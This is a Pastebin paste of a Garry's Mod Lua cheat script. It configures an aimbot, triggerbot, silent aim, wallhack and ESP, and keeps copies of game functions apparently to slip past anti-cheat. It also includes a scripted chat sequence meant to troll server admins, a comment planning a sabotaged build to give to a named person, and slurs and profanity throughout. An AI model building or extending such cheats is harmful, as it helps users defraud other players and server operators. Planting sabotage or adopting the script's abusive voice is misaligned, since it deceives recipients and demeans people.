Guest User

fuck off cunt

a guest
May 29th, 2015
338
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 134.96 KB | None | 0 0
  1. --[[---------------------------------------------------------
  2. Name: KickId2
  3. Desc: Allows admins to use the kickid2 command to kick people.
  4. -----------------------------------------------------------]]
  5. local function KickId( player, command, arguments )
  6.  
  7. if ( !player:IsAdmin() ) then return end
  8.  
  9. local id = arguments[1]
  10. local reason = arguments[2] or "Kicked"
  11.  
  12. RunConsoleCommand( "kickid", id, Format( "%s (%s)", reason, player:Nick() ) );
  13.  
  14. end
  15.  
  16. concommand.Add( "kickid2", KickId, nil, "", { FCVAR_DONTRECORD } )
  17.  
  18.  
  19. --[[---------------------------------------------------------
  20. Name: BanId2
  21. Desc: Allows admins to use the banid2 command to kick people.
  22. -----------------------------------------------------------]]
  23. local function BanID( player, command, arguments )
  24.  
  25. if ( !player:IsAdmin() ) then return end
  26.  
  27. local length = arguments[1]
  28. local id = arguments[2]
  29.  
  30. RunConsoleCommand( "banid", length, id );
  31.  
  32. end
  33.  
  34. concommand.Add( "banid2", BanID, nil, "", { FCVAR_DONTRECORD } )
  35.  
  36. /*todo
  37. use trace with headsmash ball to adjust height for ceilings
  38. fix traitor detector spam, something todo with the table.remove
  39. fix pre-round traitor weapon detection thing
  40. fix odd grey square things below text which appear when you die and have a red screen
  41. make prop leading trace happen from centre of prop
  42. figure out and fix the fps problem that remains even when no visuals are turned on - NPCS HAVE A MASSIVE FUCKING IMPACT
  43. add tickbox for wireframe material for propchams
  44. add tickbox for wireframe material for playerchams
  45. fix problem with add/removefriend not working with people that have ( something ) or [something] in their names
  46.  
  47. at the end make two versions
  48. full to give to entrusted people
  49.  
  50. sabotaged version which will fuck as much shit up as possible to give to fuckwits like nemix
  51. requires some sort of avengers style superhero team collaboration between hamster/ownage/anthrax/possibly others
  52. */
  53.  
  54. local G = table.Copy( _G )
  55. local RCC = G.RunConsoleCommand
  56. local RSTR = G.RunString
  57. local C = table.Copy( concommand )
  58. local CCA = C.Add
  59. local H = table.Copy( hook )
  60. local HKA = H.Add
  61. local HKR = H.Remove
  62. local Ent = FindMetaTable( "Entity" )
  63. local CamEnd3DShit = _G[ "cam" ][ "End3D" ]
  64. local RSetMaterial = Ent.SetMaterial
  65. local RGetMaterial = Ent.GetMaterial
  66. local RSetColour = Ent.SetColor
  67. local RGetColour = Ent.GetColor
  68. local CozIBackTracedIt
  69. local FriendsList
  70. local PlayerList
  71. local Window
  72. local ConsoleWindow
  73. local EntList
  74. local ESPEntList
  75.  
  76. local MS = {--OUTTA NOWHERE
  77. Friends = {},
  78. Spectators = {},
  79. Props = {},
  80. Tracked = {},
  81. HighPriority = {},
  82. Isolated = {},
  83. SpawnedWithTraitorWeapons = {},
  84. PlayerNameListTable = {},
  85. MsHelpCommandTable = {},
  86. ZoomView = {},
  87. RPJobs = {},
  88. MutedCunts = {},
  89. MaterialFile = {},
  90. ChamTable = {},
  91. PotentialTargetListNames = {},
  92. FriendsListNames = {},
  93. Traitors = {},
  94. LeadingTable = {},
  95. SuitableTargetTable = {},
  96. ConeTargetTable = {},
  97. DangerProps = { "models/props/de_tides/gate_large.mdl", "models/props/cs_militia/refrigerator01.mdl", "models/props_c17/lockers001a.mdl", "models/props/de_train/lockers_long.mdl", "models/props_phx/construct/metal_plate4x4.mdl", "models/props_debris/walldestroyed01a.mdl" },
  98. PropChamClasses = { "prop_physics", "prop_vehicle*", "gmod_button" },
  99. TargetNPCClasses = { "npc_*", "anklebiter_zombie", "regular_zombie", "mauler_zombie", "toxic_zombie", "wraith_zombie" },
  100. BjornTalks = { { 5, "?" }, { 20, "my game volume off you must type i cant hear u" }, { 50, "wait" }, { 70, "?wat" }, { 95, "/DARKRP Name bjorn" }, { 120, "/DARKRNAME bjorn" }, { 135, "o" }, { 145, "/SETROLLPLAYNAME bjorn" }, { 155, " ?OMG" }, { 180, "can u please explain it better ur not doing a very good job" }, { 190, "/ROLLPLAYNAME bjorn" }, { 200, "OMFG!!!!!!!!!!! STUPDIFUCKING COMMAND ISNT WORK!!" }, { 215, "?how do i get administrator because mayb will fix it" }, { 230, "?please" }, { 240, "// can a better administrator pls assist im being harasst" }, { 260, "// by an administrator that not knowing what he is talking about" }, { 270, "// he keep telling me to get name but when he tell me how it doesnt working" }, { 280, "OMG CAN I JUST GO TELL ME WHAT U WANT" }, { 290, "WE TRY THAT ALREADY AND IT HASNT WORKING" }, { 296, "my entire half of this conversation was automatic" }, { 298, "you've just wasted five minutes talking to a script" }, { 300, "dick head" } },
  101. FirstNames = { "Hudson", "jordan", "Austin", "nathan", "Alex", "Hayden", "john", "Jasper", "Boris", "horace", "morris", "doris", "julian", "nate", "Seth", "luca", "Jackson", "Isaac", "david", "matthew", "thOmas", "sam", "Oscar", "timothy", "Anthony", "archer", "Christian", "Bailey", "jayden", "Michael", "brodie", "caleb", "Tyler", "Jacob", "Archie", "beau", "gabriel", "Flynn", "samuel", "Koby", "sebastian", "Hugo", "angus", "ryder", "leo", "Declan", "dominic", "Toby", "daniel", "harry", "Joel", "tory", "Tristan", "will", "Taj", "Xavier", "Christopher", "Zane", "Jai", "Zac", "Thomas", "Nicholas", "Benjamin", "Marcus", "Tyson", "Andrew", "Jack", "Levi", "ballow", "Walter", "horatio", "Quentin" },
  102. Surnames = { "Schenk", "Beeby", "salisbury", "Atherton", "McColl", "Elsey", "bowles", "Macleod", "McElhone", "Schey", "Pridham", "wallwork", "Lassetter", "Manton", "leary", "England", "McNess", "hutchins", "Ronald", "Stones", "angas", "Lawrenson", "Dadswell", "crummer", "Gloucester", "cochran", "Ernest", "Todd", "Talbot", "Vogel", "Pryor", "peacock", "Lakeland", "Hallahan", "Avery", "edgerton", "Pohlman", "Nock", "resch", "Hassall", "Waley", "lyle", "Keynes", "Eagar", "copeland", "Gunson", "morell", "Cheel", "sumsuma", "Ellen", "Dove", "pizzey", "Morwood", "DeBavay", "tier", "Wilding", "Stoneman", "Whittell", "corey", "Patrick", "Loghlin", "mortlock", "Bulcock", "chumleigh", "Sani", "Timbery", "wheare", "Mondalmi", "Ferres", "buckley", "Chessman", "Macadam", "Whittle", "Dacomb", "tomkinson", "Woollacott", "Learmonth", "Cullen", "Sato", "gibson", "Medland", "Stang", "Trout", "cabena", "Edith", "Ryder", "Hardy", "ballow", "Kabu", "Haenke", "pescott", "Cudmore", "Aplin", "Zahel", "Kenyon" },
  103. UserNames = {"PedroGarcia2003", "deathcole20", "udealwithit", "kellyhxo", "nitrodan9", "Turbofaaret", "tlit02", "Somixe", "lm3788", "shinxluxio12655", "brr4airsoft", "FoG_Triton", "Boss_Nomad", "VillaV", "benmaher", "raptor6200", "Cheesy56", "ARiiiES", "shadow615", "ladiesman1324", "deatharrow36", "Harukoxd", "zacymacy2", "BED_TIME101", "jellybeanmm", "kyle_mcmanus", "widget20", "MrJevie", "boot_straps", "beatles4", "BILLYRAY", "bprevatte", "browning", "bullmastiff", "burry", "cruiser", "DChrles", "deck", "Diver", "eagleone", "gordo", "Holt", "mustang0000", "Strike34", "Am132__Y", "vince1949", "Sirbruce100", "Helloman999", "Amiable", "fukjaps888"},
  104. ProColours = { "-80 -7 -99999999999", "-80 -999999999999 -7", "-7 -7 -99999999999999999999", "-99999999999 -7 -7", "-7 -999999999999999999999 -7" },
  105. TardColours = { "0.8 0.2 0.6", "0 1 0.03", "0.1 0.05 1", "0.3 0.5 0.02", "1 0 0", "1 1 0", "0 1 0", "0 1 1", "0 0 1", "1 0 0" },
  106. MaterialsAndWidths = { "rope_material", "elastic_material", "hydraulic_material", "winch_rope_material", "slider_material", "muscle_material", "wire_material", "wire_adv_material", "rope_width", "elastic_width", "hydraulic_width", "winch_rope_width", "slider_width", "muscle_width", "wire_width", "wire_adv_width" },
  107. IgnoreDropWeps = { "weapon_physgun", "weapon_physcannon", "weapon_fists", "gmod_tool", "keys", "pocket", "gmod_camera" },
  108. TriggerbotBlacklist = { "weapon_physgun", "gmod_tool" },
  109. WhiteMaterial = CreateMaterial( "White9", "UnlitGeneric", { [ "$basetexture" ] = "models/debug/debugwhite", [ "$nocull" ] = 1, [ "$model" ] = 1 } ),
  110. DeagleLogsShit = { DeathLog = { Time = {}, SteamID = {}, HSteamID = {}, Name = {}, KillerName = {}, InflictorName = {}, KSteamID = {} }, PropLog = { Time = {}, SteamID = {}, HSteamID = {}, Name = {}, Model= {} }, JobLog = { Time = {}, SteamID = {}, HSteamID = {}, Name = {}, OldTeam = {}, NewTeam = {}, }, ConnectLog = { Time = {}, SteamID = {}, HSteamID = {}, Name = {}, Method = {} }, ToolLog = { Time = {}, SteamID = {}, HSteamID = {}, Name = {}, Tool = {} }, DMGLog = { Time = {}, SteamID = {}, HSteamID = {}, Name = {}, KillerName = {}, KSteamID = {}, InflictorName = {}, Method = {}, Damage = {} }, NameLog = { Time = {}, Name = {}, SteamID = {}, HSteamID = {}, OldName = {}, NewName = {} }, ArrestLog = { Time = {}, Name = {}, SteamID = {}, HSteamID = {}, Method = {}, Officer = {}, OSteamID = {} }, DemoteLog = { Time = {}, Name = {}, SteamID = {}, HSteamID = {}, Demoter = {}, DSteamID = {}, Job = {}, Reason = {} }, HitLog = { Time = {}, Name = {}, SteamID = {}, HSteamID = {}, Target = {}, TSteamID = {}, Method = {}, Customer = {}, CSteamID = {} }, },
  111. Job2 = "",
  112. LastJob = "",
  113. NewJob = "",
  114. LastFirstName = "",
  115. LastSurname = "",
  116. NewFirstName = "",
  117. NewSurname = "",
  118. EnabledOrDisabled = "",
  119. MaxFOV = 180,
  120. LastDist = 2048,
  121. Int2 = 1,
  122. NextSpawn = 0,
  123. TopSpeed = 0,
  124. CurrentSpeed = 0,
  125. NextFire = 0,
  126. NextSnap = 0,
  127. NewProColour = 0,
  128. LastProColour = 0,
  129. NewTardColour = 0,
  130. LastTardColour = 0,
  131. BiggestString = 0,
  132. Zoom = 0,
  133. NextBjornType = 0,
  134. Speed = 0,
  135. SilentSnapDelay = 0,
  136. MenuTimer = 0,
  137. TorchSpamTimer = 0,
  138. TorchShutoffTimer = 0,
  139. SilentAimPingAdjust = 0,
  140. Settings,
  141. EntityLock,
  142. TargetPly,
  143. Inv,
  144. IsVisTrace,
  145. AimBone,
  146. SpecColour,
  147. FriendlyMinge,
  148. PhysOverrideMul,
  149. PhysOverrideCol,
  150. ThirdPersonView,
  151. ConeTarget,
  152. PrevAng = Angle( 0, 0, 0 ),
  153. SilentAimAngle = Angle( 0, 0, 0 ),
  154. Start = Angle( 0, 0, 0 ),
  155. CHOutterPos1 = Vector( 0, 0, 0 ),
  156. CHOutterPos2 = Vector( 0, 0, 0 ),
  157. CHOutterPos3 = Vector( 0, 0, 0 ),
  158. CHOutterPos4 = Vector( 0, 0, 0 ),
  159. CHOutterPos5 = Vector( 0, 0, 0 ),
  160. CHOutterPos6 = Vector( 0, 0, 0 ),
  161. CHOutterPos7 = Vector( 0, 0, 0 ),
  162. CHOutterPos8 = Vector( 0, 0, 0 ),
  163. CHMidPos1 = Vector( 0, 0, 0 ),
  164. CHMidPos2 = Vector( 0, 0, 0 ),
  165. CHMidPos3 = Vector( 0, 0, 0 ),
  166. CHMidPos4 = Vector( 0, 0, 0 ),
  167. CHMidPos5 = Vector( 0, 0, 0 ),
  168. CHMidPos6 = Vector( 0, 0, 0 ),
  169. CHMidPos7 = Vector( 0, 0, 0 ),
  170. CHMidPos8 = Vector( 0, 0, 0 ),
  171. CHInnerPos1 = Vector( 0, 0, 0 ),
  172. CHInnerPos2 = Vector( 0, 0, 0 ),
  173. CHInnerPos3 = Vector( 0, 0, 0 ),
  174. CHInnerPos4 = Vector( 0, 0, 0 ),
  175. CHInnerPos5 = Vector( 0, 0, 0 ),
  176. CHInnerPos6 = Vector( 0, 0, 0 ),
  177. CHInnerPos7 = Vector( 0, 0, 0 ),
  178. CHInnerPos8 = Vector( 0, 0, 0 ),
  179. Colours = {
  180. red = Color( 255, 0, 0, 60 ),
  181. green = Color( 0, 255, 0, 255 ),
  182. blue = Color( 20, 150, 255, 60 ),
  183. white = Color( 255, 255, 255, 255 ),
  184. pink = Color( 255, 0, 255, 255 ),
  185. black = Color( 0, 0, 0, 255 ),
  186. yellow = Color( 255, 255, 0, 255 ),
  187. traitorred = Color( 0, 0, 255 ),
  188. headsmashballcol = Color( 0, 0, 0, 255 ),
  189. Col = Color( 0, 0, 0, 255 ),
  190. Random = Color( 0, 0, 0, 255 ),
  191. PropChamsColour = Color( 0, 0, 0, 255 ),
  192. CrosshairCol = Color( 0, 0, 0, 255 ),
  193. },
  194. SpawnMaxBounds = Vector( -2552.397217, -2431.968750, 14.708786 ),
  195. SpawnMinBounds = Vector( -2807.807373, -2847.065674, -200 ),
  196. ScreenGrab = false,
  197. IsFiring = false,
  198. TorchSpamming = false,
  199. Cannoning = false,
  200. DetectingTs = false,
  201. Visible = true,
  202. RopeSpamming = false,
  203. Glowing = false,
  204. ZoomActive = false,
  205. ZoomEnable = false,
  206. Vomiting = false,
  207. KickFlipping = false,
  208. IsBjornTyping = false,
  209. IsBjorn = false,
  210. FuckingPlayer = false,
  211. ConeSpawned = false,
  212. UpdateCol = true,
  213. UpdatePropCol = true,
  214. ResetVis = false,
  215. SetNoVis = false,
  216. UpdateSilentAngle = true,
  217. SnapBack = false,
  218. Lagsploiting = false,
  219. Hopping = false,
  220. MenuOpen = false,
  221. MenuFirstPass = true,
  222. StayOpen = false,
  223. DeagleLogs = false,
  224. SnapBack2 = false,
  225. }
  226.  
  227. function table.val_to_str ( v )
  228. if "string" == type( v ) then
  229. return "hi"
  230. else
  231. return "table" == type( v ) and table.tostring( v ) or
  232. tostring( "hi" )
  233. end
  234. end
  235.  
  236. function table.key_to_str ( k )
  237. if "string" == type( k ) and string.match( k, "^[_%a][_%a%d]*$" ) then
  238. return k
  239. else
  240. return "[" .. table.val_to_str( k ) .. "]"
  241. end
  242. end
  243.  
  244. function table.tostring( tbl )
  245. local result, done = {}, {}
  246. for k,v in ipairs( tbl ) do
  247. table.insert( result, table.val_to_str( v ) )
  248. done[ k ] = true
  249. end
  250. for k,v in pairs( tbl ) do
  251. if not done[ k ] then
  252. table.insert( result,
  253. table.key_to_str( k ) .. "=" .. table.val_to_str( v ) )
  254. end
  255. end
  256. table.sort( result, function( a, b ) return a > b end )
  257. return "{" .. table.concat( result, ", " ) .. "}"
  258. end
  259.  
  260. MS.Settings = {
  261. TriggerBot = {
  262. enabled = false,
  263. onlyaim = true,
  264. rapidfire = false,
  265. },
  266. Aimbot = {
  267. enabled = false,
  268. targetnpcs = false,
  269. aimsmoothon = false,
  270. multitrace = false,
  271. norecoil = true,
  272. noshake = true,
  273. ignorefriends = false,
  274. ignoreteammates = false,
  275. silent = false,
  276. maxfov = 30,
  277. snapwait = 0,
  278. aimsmooth = 30,
  279. Bones = { "POW RIGHT IN THE KISSER", "Nipples", "RIGHT IN THE PUSSY", "Left Kneecap", "Right Kneecap" },
  280. AimFor = "POW RIGHT IN THE KISSER",
  281. },
  282. Visuals = {
  283. Text = {
  284. on = true,
  285. mingenametags = true,
  286. names = true,
  287. health = true,
  288. weapon = true,
  289. rank = true,
  290. distance = true,
  291. modelnames = true,
  292. espvelocity = true,
  293. velocity = true,
  294. topvelocity = true,
  295. },
  296. addwire = false,
  297. playerleading = false,
  298. propleading = false,
  299. verticalbeam = true,
  300. headsmash = true,
  301. headsmashball = true,
  302. boxes = true,
  303. teamcolours = false,
  304. playerchams = true,
  305. propchams = true,
  306. playersuppressenginelighting = false,
  307. nosky = false,
  308. crosshair = true,
  309. eyetrace = true,
  310. halos = true,
  311. thirdperson = false,
  312. savefps = false,
  313. weaponchams = true,
  314. traitor = true,
  315. checktidesgate = false,
  316. rainbow = false,
  317. nogunz = false,
  318. overridephysgun = false,
  319. PropR = 255,
  320. PropG = 150,
  321. PropB = 0,
  322. PropA = 45,
  323. CustomR = 0,
  324. CustomG = 255,
  325. CustomB = 255,
  326. rainbowmult = 1,
  327. ThirdPersonDist = 250,
  328. haloselection = 3,
  329. crosshairspeed = 2,
  330. customents = {},
  331. RopeMaterial = "matsys_regressiontest/background",
  332. },
  333. Debug = false,
  334. AutoStrafe = false,
  335. }
  336.  
  337. local function MSMsg( text )
  338. MsgC( MS.Colours.green, string.upper( text ) .. "\n" )
  339. end
  340.  
  341. if( !file.Exists( "mssettings.txt", "DATA" ) ) then
  342. file.Write( "mssettings.txt", util.TableToJSON( MS.Settings ), "DATA" )
  343. else
  344. if( table.tostring( MS.Settings ) == table.tostring( util.JSONToTable( file.Read( "mssettings.txt", "DATA" ) ) ) ) then
  345. MS.Settings = util.JSONToTable( file.Read( "mssettings.txt", "DATA" ) )
  346. MS.Settings.Aimbot.enabled = false
  347. else
  348. MSMsg( "SETTINGS FILE TEMPLATE CHANGED .. REWRITING..." )
  349. file.Delete( "mssettings.txt" )
  350. file.Write( "mssettings.txt", util.TableToJSON( MS.Settings ), "DATA" )
  351. end
  352. end
  353.  
  354. local function LogMsg( text )
  355. if( !MS.Settings.Debug ) then return end
  356. MSMsg( text )
  357. end
  358. local function MSError( text )
  359. notification.AddLegacy( string.upper( text ), NOTIFY_ERROR, 5 )
  360. MSMsg( text )
  361. RCC( "play", "buttons/button16.wav" )
  362. end
  363. local function EnabledDisabled( name, bool )
  364. MS.EnabledOrDisabled = "disabled"
  365. if( bool ) then
  366. MS.EnabledOrDisabled = "enabled"
  367. end
  368. MSMsg( name .. " " .. MS.EnabledOrDisabled )
  369. end
  370.  
  371. local function FindByName( text )
  372. for k,v in pairs( player.GetAll() ) do
  373. if( v == LocalPlayer() ) then continue end
  374. if( string.find( string.lower( v:Nick() ), string.lower( text ) ) ) then
  375. return v
  376. end
  377. end
  378. return nil
  379. end
  380.  
  381. local function GetPlayerNameList( pref )
  382. MS.PlayerNameListTable = {}
  383. for k,v in pairs( player.GetAll() ) do
  384. table.insert( MS.PlayerNameListTable, pref .. v:Nick() )
  385. end
  386. return MS.PlayerNameListTable
  387. end
  388.  
  389. local function AddFriend( name )
  390. if( type( name ) != "string" and name:IsPlayer() ) then
  391. if( table.HasValue( MS.Friends, name ) ) then
  392. MSMsg( name:Nick() .. " IS ALREADY ON YOUR FRIENDS LIST" )
  393. return
  394. end
  395. table.insert( MS.Friends, name )
  396. MSMsg( "ADDED " .. name:Nick() .. " TO FRIEND LIST" )
  397. return
  398. end
  399. if( type( name ) != "string" ) then MSError( "ERROR: ADDFRIEND ATTEMPTED TO USE TYPE ".. type( name ) ) return end
  400. if( type( name ) == "string" and string.len( name ) < 1 ) then return end
  401. if( name == "*" ) then
  402. MS.Friends = table.Copy( player.GetAll() )
  403. MSMsg( "ADDED EVERYONE TO FRIENDS LIST" )
  404. return
  405. end
  406.  
  407. local ToAdd = FindByName( name )
  408. if( table.HasValue( MS.Friends, ToAdd ) ) then
  409. MSMsg( ToAdd:Nick() .. " IS ALREADY ON YOUR FRIENDS LIST" )
  410. return
  411. end
  412. table.insert( MS.Friends, ToAdd )
  413. MSMsg( "ADDED " .. ToAdd:Nick() .. " TO FRIEND LIST" )
  414. end
  415. CCA( "ms_friendadd", function( _, _, args ) AddFriend( table.concat( args, " " ) ) end, function() return GetPlayerNameList( "t_friendadd " ) end )
  416.  
  417. local function RemoveFriend( name )
  418. if( type( name ) == "string" and name == "*" ) then
  419. MS.Friends = {}
  420. MSMsg( "REMOVED EVERYONE FROM LIST" )
  421. return
  422. end
  423. if( type( name ) == "string" and string.len( name ) < 1 ) then return end
  424. for k,v in pairs( MS.Friends ) do
  425. if( type( name ) != "string" and name:IsPlayer() and name == v ) or ( type( name ) == "string" and FindByName( name ) == v ) then
  426. table.remove( MS.Friends, k )
  427. MSMsg( "REMOVED " .. v:Nick() .. " FROM FRIENDS LIST" )
  428. break
  429. end
  430. end
  431. end
  432. CCA( "ms_friendremove", function( _, _, args ) RemoveFriend( table.concat( args, " " ) ) end, function() return GetPlayerNameList( "t_friendremove " ) end )
  433.  
  434. local function InvertColour( c )
  435. return Color( 255 - c.r, 255 - c.g, 255 - c.b, 255 );
  436. end
  437.  
  438. local function NoShake( ply, pos, angles, fov )
  439. if( GetViewEntity() != LocalPlayer() or MS.ZoomEnable or MS.Settings.Visuals.thirdperson or LocalPlayer():InVehicle() ) then return end
  440. local view = { ply = ply, origin = pos, angles = LocalPlayer():EyeAngles(), fov = fov }
  441. return view
  442. end
  443.  
  444. local function GenerateVisualsSheet( w, h )
  445. VisualPanel = vgui.Create( "DPanel" )
  446. VisualPanel:SetPos( 2, 2 )
  447. VisualPanel:SetSize( w - 2, h - 2 )
  448. VisualPanel.Paint = function()
  449. draw.RoundedBox( 3, 0, 0, VisualPanel:GetWide(), VisualPanel:GetTall(), Color( 50, 50, 50, 255 ) )
  450. end
  451.  
  452. local SheetLeft = vgui.Create( "DPanelList", VisualPanel )
  453. SheetLeft:SetPos( 2, 2 )
  454. SheetLeft:SetSize( 100, h )
  455. SheetLeft:SetSpacing( 6 )
  456. SheetLeft:SetPadding( 4 )
  457. SheetLeft:EnableVerticalScrollbar( true )
  458.  
  459. local SheetMid = vgui.Create( "DPanelList", VisualPanel )
  460. SheetMid:SetPos( 100, 2 )
  461. SheetMid:SetSize( 100, h )
  462. SheetMid:SetSpacing( 6 )
  463. SheetMid:SetPadding( 4 )
  464. SheetMid:EnableVerticalScrollbar( true )
  465.  
  466. local SheetRight = vgui.Create( "DPanelList", VisualPanel )
  467. SheetRight:SetPos( 200, 2 )
  468. SheetRight:SetSize( 100, h )
  469. SheetRight:SetSpacing( 6 )
  470. SheetRight:SetPadding( 4 )
  471. SheetRight:EnableVerticalScrollbar( true )
  472.  
  473. local SheetLong = vgui.Create( "DPanelList", VisualPanel )
  474. SheetLong:SetPos( 2, 90 )
  475. SheetLong:SetSize( 300, h )
  476. SheetLong:SetSpacing( 6 )
  477. SheetLong:SetPadding( 4 )
  478. SheetLong:EnableVerticalScrollbar( true )
  479.  
  480. local CheckBoxAddWire = vgui.Create( "DCheckBoxLabel" )
  481. CheckBoxAddWire:SetText( "Add Wire" )
  482. CheckBoxAddWire:SetToolTip( "Adds Wiremod shit to prop chams" )
  483. CheckBoxAddWire:SetValue( MS.Settings.Visuals.addwire )
  484. CheckBoxAddWire.OnChange = function( _, toggle )
  485. MS.Settings.Visuals.addwire = toggle
  486. if( MS.Settings.Visuals.addwire ) then
  487. table.insert( MS.PropChamClasses, "gmod_wire*" )
  488. MS.SetNoVis = true
  489. else
  490. MS.ResetVis = true
  491. table.remove( MS.PropChamClasses, 4 )
  492. MS.SetNoVis = true
  493. end
  494. end
  495. CheckBoxAddWire:SizeToContents()
  496.  
  497. local CheckBoxCheckTidesGate = vgui.Create( "DCheckBoxLabel" )
  498. CheckBoxCheckTidesGate:SetText( "Prop Danger" )
  499. CheckBoxCheckTidesGate:SetToolTip( "Tides gates and fridges flash red if they have a clear path to you" )
  500. CheckBoxCheckTidesGate:SetValue( MS.Settings.Visuals.checktidesgate )
  501. CheckBoxCheckTidesGate.OnChange = function( _, toggle )
  502. MS.Settings.Visuals.checktidesgate = toggle
  503. end
  504. CheckBoxCheckTidesGate:SizeToContents()
  505.  
  506. local CheckBoxCrosshair = vgui.Create( "DCheckBoxLabel" )
  507. CheckBoxCrosshair:SetText( "Crosshair" )
  508. CheckBoxCrosshair:SetToolTip( "CUNTFLAKE" )
  509. CheckBoxCrosshair:SetValue( MS.Settings.Visuals.crosshair )
  510. CheckBoxCrosshair.OnChange = function( _, toggle )
  511. MS.Settings.Visuals.crosshair = toggle
  512. end
  513. CheckBoxCrosshair:SizeToContents()
  514.  
  515. local CheckBoxModelNames = vgui.Create( "DCheckBoxLabel" )
  516. CheckBoxModelNames:SetText( "Model Names" )
  517. CheckBoxModelNames:SetToolTip( "Shows the model of the prop/button you're aiming at" )
  518. CheckBoxModelNames:SetValue( MS.Settings.Visuals.Text.modelnames )
  519. CheckBoxModelNames.OnChange = function( _, toggle )
  520. MS.Settings.Visuals.Text.modelnames = toggle
  521. end
  522. CheckBoxModelNames:SizeToContents()
  523.  
  524. local CheckBoxNoSky = vgui.Create( "DCheckBoxLabel" )
  525. CheckBoxNoSky:SetText( "No Skybox" )
  526. CheckBoxNoSky:SetToolTip( ">implying this needs a tooltip" )
  527. CheckBoxNoSky:SetValue( MS.Settings.Visuals.nosky )
  528. CheckBoxNoSky.OnChange = function( _, toggle )
  529. MS.Settings.Visuals.nosky = toggle
  530. if( MS.Settings.Visuals.nosky ) then
  531. HKA( "PreDrawSkyBox", "removeSkybox", function() render.Clear( math.abs( math.cos( CurTime() /10 ) *100 ), math.abs( math.cos( CurTime() /10 ) *100 ), math.abs( math.cos( CurTime()/10 ) *100 ), 255 ) return true end )
  532. return
  533. end
  534. HKR( "PreDrawSkyBox", "removeSkybox" )
  535. end
  536. CheckBoxNoSky:SizeToContents()
  537.  
  538. local CheckBoxPropChams = vgui.Create( "DCheckBoxLabel" )
  539. CheckBoxPropChams:SetText( "Prop Chams" )
  540. CheckBoxPropChams:SetTooltip( "Prop wallhack" )
  541. CheckBoxPropChams:SetValue( MS.Settings.Visuals.propchams )
  542. CheckBoxPropChams.OnChange = function( _, toggle )
  543. MS.Settings.Visuals.propchams = toggle
  544. if( MS.Settings.Visuals.propchams ) then
  545. MS.SetNoVis = true
  546. return
  547. end
  548. MS.ResetVis = true
  549. end
  550. CheckBoxPropChams:SizeToContents()
  551.  
  552. local CheckBoxPropLeading = vgui.Create( "DCheckBoxLabel" )
  553. CheckBoxPropLeading:SetText( "Prop Predict" )
  554. CheckBoxPropLeading:SetToolTip( "Prop trajectory prediction, works okay" )
  555. CheckBoxPropLeading:SetValue( MS.Settings.Visuals.propleading )
  556. CheckBoxPropLeading.OnChange = function( _, toggle )
  557. MS.Settings.Visuals.propleading = toggle
  558. end
  559. CheckBoxPropLeading:SizeToContents()
  560.  
  561. local CheckBoxRainbow = vgui.Create( "DCheckBoxLabel" )
  562. CheckBoxRainbow:SetText( "Rainbow" )
  563. CheckBoxRainbow:SetToolTip( "TASTE THE RAINBOW MOTHER FUCKER" )
  564. CheckBoxRainbow:SetValue( MS.Settings.Visuals.rainbow )
  565. CheckBoxRainbow.OnChange = function( _, toggle )
  566. MS.Settings.Visuals.rainbow = toggle
  567. if( !MS.Settings.Visuals.rainbow ) then
  568. MS.UpdateCol = true
  569. MS.UpdatePropCol = true
  570. end
  571. end
  572. CheckBoxRainbow:SizeToContents()
  573.  
  574. local CheckBoxSaveFPS = vgui.Create( "DCheckBoxLabel" )
  575. CheckBoxSaveFPS:SetText( "Save FPS" )
  576. CheckBoxSaveFPS:SetToolTip( "Stops rendering visuals outside your view, bit fucked" )
  577. CheckBoxSaveFPS:SetValue( MS.Settings.Visuals.savefps )
  578. CheckBoxSaveFPS.OnChange = function( _, toggle )
  579. MS.Settings.Visuals.savefps = toggle
  580. end
  581. CheckBoxSaveFPS:SizeToContents()
  582.  
  583. local CheckBoxNoGunz = vgui.Create( "DCheckBoxLabel" )
  584. CheckBoxNoGunz:SetText( "Invis Weapon" )
  585. CheckBoxNoGunz:SetToolTip( "Makes your shit all invisible and shit - massive fps drain" )
  586. CheckBoxNoGunz:SetValue( MS.Settings.Visuals.nogunz )
  587. CheckBoxNoGunz.OnChange = function( _, toggle )
  588. MS.Settings.Visuals.nogunz = toggle
  589. end
  590. CheckBoxNoGunz:SizeToContents()
  591.  
  592. local CheckBoxTopVelocity = vgui.Create( "DCheckBoxLabel" )
  593. CheckBoxTopVelocity:SetText( "Top Velocity" )
  594. CheckBoxTopVelocity:SetToolTip( "Displays your top velocity" )
  595. CheckBoxTopVelocity:SetValue( MS.Settings.Visuals.Text.topvelocity )
  596. CheckBoxTopVelocity.OnChange = function( _, toggle )
  597. MS.Settings.Visuals.Text.topvelocity = toggle
  598. end
  599. CheckBoxTopVelocity:SizeToContents()
  600.  
  601. local CheckBoxVelocity = vgui.Create( "DCheckBoxLabel" )
  602. CheckBoxVelocity:SetText( "Velocity" )
  603. CheckBoxVelocity:SetToolTip( "Displays your current velocity" )
  604. CheckBoxVelocity:SetValue( MS.Settings.Visuals.Text.velocity )
  605. CheckBoxVelocity.OnChange = function( _, toggle )
  606. MS.Settings.Visuals.Text.velocity = toggle
  607. end
  608. CheckBoxVelocity:SizeToContents()
  609.  
  610. local PropR = vgui.Create( "DNumSlider" )
  611. PropR:SetMinMax( 0, 255 )
  612. PropR:SetValue( MS.Settings.Visuals.PropR )
  613. PropR:SetText( "Prop Chams: Red" )
  614. PropR:SetDecimals( 0 )
  615. PropR.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  616. PropR.OnValueChanged = function( panel, value )
  617. MS.Settings.Visuals.PropR = value
  618. MS.UpdatePropCol = true
  619. end
  620. PropR:SetSize( 120, 14 )
  621.  
  622. local PropG = vgui.Create( "DNumSlider" )
  623. PropG:SetMinMax( 0, 255 )
  624. PropG:SetValue( MS.Settings.Visuals.PropG )
  625. PropG:SetText( "Prop Chams: Green" )
  626. PropG:SetDecimals( 0 )
  627. PropG.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  628. PropG.OnValueChanged = function( panel, value )
  629. MS.Settings.Visuals.PropG = value
  630. MS.UpdatePropCol = true
  631. end
  632. PropG:SetSize( 120, 14 )
  633.  
  634. local PropB = vgui.Create( "DNumSlider" )
  635. PropB:SetMinMax( 0, 255 )
  636. PropB:SetValue( MS.Settings.Visuals.PropB )
  637. PropB:SetText( "Prop Chams: Blue" )
  638. PropB:SetDecimals( 0 )
  639. PropB.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  640. PropB.OnValueChanged = function( panel, value )
  641. MS.Settings.Visuals.PropB = value
  642. MS.UpdatePropCol = true
  643. end
  644. PropB:SetSize( 120, 14 )
